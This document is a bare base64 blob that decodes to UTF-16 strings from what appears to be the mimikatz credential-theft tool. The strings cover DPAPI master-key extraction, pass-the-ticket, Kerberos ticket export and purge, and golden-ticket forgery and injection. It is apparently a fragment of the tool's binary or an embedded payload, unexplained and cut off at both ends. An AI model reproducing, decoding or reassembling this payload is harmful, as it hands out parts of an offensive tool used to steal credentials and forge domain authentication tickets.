ABwAGEAcwBzAHcAbwByAGQAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcABhAHMAcwB3AG8AcgBkAAoAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAGgAYQBzAGgAOgAgAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHUAcwBlAHIASABhAHMAaAAKAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAcAB2AGsAAAAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAAcgBwAGMAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFAAQwAKAAAAAABkAGMAAAAAAGQAbwBtAGEAaQBuAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAARABDACAAcwBlAHIAdgBlAHIACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAaABhADEAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAUwBIAEEAMQAgAGEAbgBkACAAUwBJAEQ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AdwBhAG4AIABYAE0ATAAgAHAAcgBvAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEtlcmJlcm9zAAAAAHAAdAB0AAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAbABpAHMAdAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABhAHMAawAAAEEAcwBrACAAbwByACAAZwBlAHQAIABUAEcAUwAgAHQAaQBjAGsAZQB0AHMAAAAAAHQAZwB0AAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAABwAHUAcgBnAGUAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAGcAbwBsAGQAZQBuAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAASABhAHMAaAAgAHAAYQBzAHMAdwBvAHIAZAAgAHQAbwAgAGsAZQB5AHMAAABwAHQAYwAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAYwBsAGkAcwB0AAAAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAACoAIABEAGkAcgBlAGMAdABvAHIAeQA6ACAAJwAlAHMAJwAKAAAAAAAqAC4AawBpAHIAYgBpAAAACgAqACAARgBpAGwAZQA6ACAAJwAlAHMAJwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABLAGUAcgBiAGUAcgBvAHMAIABUAEcAVAAgAG8AZgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuACAAOgAgAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAIAA7ACAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAawBpAHIAYgBpAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAHQAawB0AAAAbgBvAGMAYQBjAGgAZQAAAHQAYQByAGcAZQB0AAAAAAByAGMANAAAAGQAZQBzAAAAYQBlAHMAMgA1ADYAAAAAAGEAZQBzADEAMgA4AAAAAABBAHMAawBpAG4AZwAgAGYAbwByADoAIAAlAHcAWgAKAAAAAAAgACAAIAAqACAAVABpAGMAawBlAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAVAB5AHAAZQAgACYAIABrAHYAbgBvACAAbgBvAHQAIAByAGUAcAByAGUAcwBlAG4AdABhAHQAaQB2AGUAIABhAHQAIABzAGMAcgBlAGUAbgAKAAAAAAAAAAAAIAAgACAAKgAgAE4AbwBDAGEAYwBoAGUAOgAgAGUAeABwAG8AcgB0AGUAZAAgAHQAaQBjAGsAZQB0ACAAbQBhAHkAIAB2AGEAcgB5ACAAdwBpAHQAaAAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAoAIAAgACAAKgAgAFQASwBUACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgACoAIABLAGkAUgBCAGkAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgACcAJQB3AFoAJwAgAEsAZQByAGIAZQByAG8AcwAgAG4AYQBtAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGEAcwBrACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAC8AdABhAHIAZwBlAHQAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIAByAGUAcQB1AGkAcgBlAGQAIAAoAGUAZwA6ACAALwB0AGEAcgBnAGUAdAA6AGMAaQBmAHMALwBzAGUAcgB2AGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsACkACgAAAAAAJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAACUAMAA4AHgALQBuAG8AbgBhAG0AZQAuACUAcwAAAAAAdABpAGMAawBlAHQALgBrAGkAcgBiAGkAAAAAAHQAaQBjAGsAZQB0AAAAAABhAGQAbQBpAG4AAAB1AHMAZQByAAAAAABrAHIAYgB0AGcAdAAAAAAAaQBkAAAAAAByAG8AZABjAAAAAABnAHIAbwB1AHAAcwAAAAAAcwBpAGQAcwAAAAAAYwBsAGEAaQBtAHMAAAAAAHMAdABhAHIAdABvAGYAZgBzAGUAdAAAADUAMgA1ADYAMAAwADAAAABlAG4AZABpAG4AAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMAIAAoACUAcwApAAoAUwBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVQBzAGUAcgAgAEkAZAAgACAAIAA6ACAAJQB1AAoAAABHAHIAbwB1AHAAcwAgAEkAZAAgADoAIAAqAAAAJQB1ACAAAAAKAEUAeAB0AHIAYQAgAFMASQBEAHMAOgAgAAAACgBDAGwAYQBpAG0AcwAgACAAIAAgADoACgAAAAoAUwBlAHIAdgBpAGMAZQBLAGUAeQA6ACAAAAAgAC0AIAAlAHMACgAAAAAAUwBlAHIAdgBpAGMAZQAgACAAIAA6ACAAJQBzAAoAAABUAGEAcgBnAGUAdAAgACAAIAAgADoAIAAlAHMACgAAAEwAaQBmAGUAdABpAG0AZQAgACAAOgAgAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAoARwBvAGwAZABlAG4AIAB0AGkAYwBrAGUAdAAgAGYAbwByACAAJwAlAHMAIABAACAAJQBzACcAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHMAdQBiAG0AaQB0AHQAZQBkACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAKAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAACgBrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABCAGUAcgBBAHAAcABfAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABsAG8AYwBhAHQAZQAgAEMAcgB5AHAAdABvAFMAeQBzAHQAZQBtACAAZgBvAHIAIABFAFQAWQBQAEUAIAAlAHUAIAAoAGUAcgByAG8AcgAgADAAeAAlADAAOAB4ACkAIAAtACAAQQBFAFMAIABvAG4AbAB5ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABvAG4AIABOAFQANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGsAcgBiAHQAZwB0ACAAawBlAHkAIABhAHIAZwB1AG0AZQBuAHQAIAAoAC8AcgBjADQAIABvAHIAIAAvAGEAZQBzADEAMgA4ACAAbwByACAALwBhAGUAcwAyADUANgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFMASQBEACAAcwBlAGUAbQBzACAAaQBuAHYAYQBsAGkAZAAgAC0AIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAACAAKgAgAFAAQQBDACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AXwBkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAGMAcgB5AHAAdAAgACUAMAA4AHgACgAAAAkAKgAgACUAcwAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAFgALQBDAEEAQwBIAEUAQwBPAE4ARgA6AAAAAAAKAFAAcgBpAG4AYwBpAHAAYQBsACAAOgAgAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAKAAkAIAAgACAAKgAgAEkAbgBqAGUAYwB0AGkAbgBnACAAdABpAGMAawBlAHQAIAA6ACAAAAAAAAoACQAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACUAcwAgACEAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAgAG8AcgAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAAMwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAAAsAAAAPQAAAHwAAABDAGwAYQBpAG0AcwBbACUAdQBdAAoAAAAgACAAUwBvAHUAcgBjAGUAVAB5AHAAZQA6ACAAJQBoAHUACgAAAAAAIAAgAEUAbgB0AHIAaQBlAHMAWwAlAHUAXQAKAAAAAAAgACAAIAAgAEkAZAA6ACAAJQBzAAoAAAAgACAAIAAgAFsASQBOAFQANgA0ACAAXQAgACUAbABsAAoAAAAgACAAIAAgAFsAVQBJAE4AVAA2ADQAXQAgACUAdQBsAGwACgAAAAAAIAAgACAAIABbAFMAVABSAEkATgBHAF0AIAAlAHMACgAAAAAAIAAgACAAIABbAEIATwBPAEwAIAAgAF0AIAAlADAAMQA2AGwAbAB4AAoAAAAgACAAIAAgAFsAIQAlAGgAdQAhAF0ACgAAAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAoACQAgACAAIAAgACAAAAAAAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAkAWwAuAC4ALgBdAAAAAABuAGEAbQBlAF8AYwBhAG4AbwBuAGkAYwBhAGwAaQB6AGUAAABvAGsAXwBhAHMAXwBkAGUAbABlAGcAYQB0AGUAAAAAAGgAdwBfAGEAdQB0AGgAZQBuAHQAAAAAAHAAcgBlAF8AYQB1AHQAaABlAG4AdAAAAGkAbgBpAHQAaQBhAGwAAAByAGUAbgBlAHcAYQBiAGwAZQAAAGkAbgB2AGEAbABpAGQAAABwAG8AcwB0AGQAYQB0AGUAZAAAAG0AYQB5AF8AcABvAHMAdABkAGEAdABlAAAAAABwAHIAbwB4AHkAAABwAHIAbwB4AGkAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAZgBvAHIAdwBhAHIAZABhAGIAbABlAAAAKAAlADAAMgBoAHUAKQAgADoAIAAAAAAAJQB3AFoAIAA7ACAAAAAAACgALQAtACkAIAA6ACAA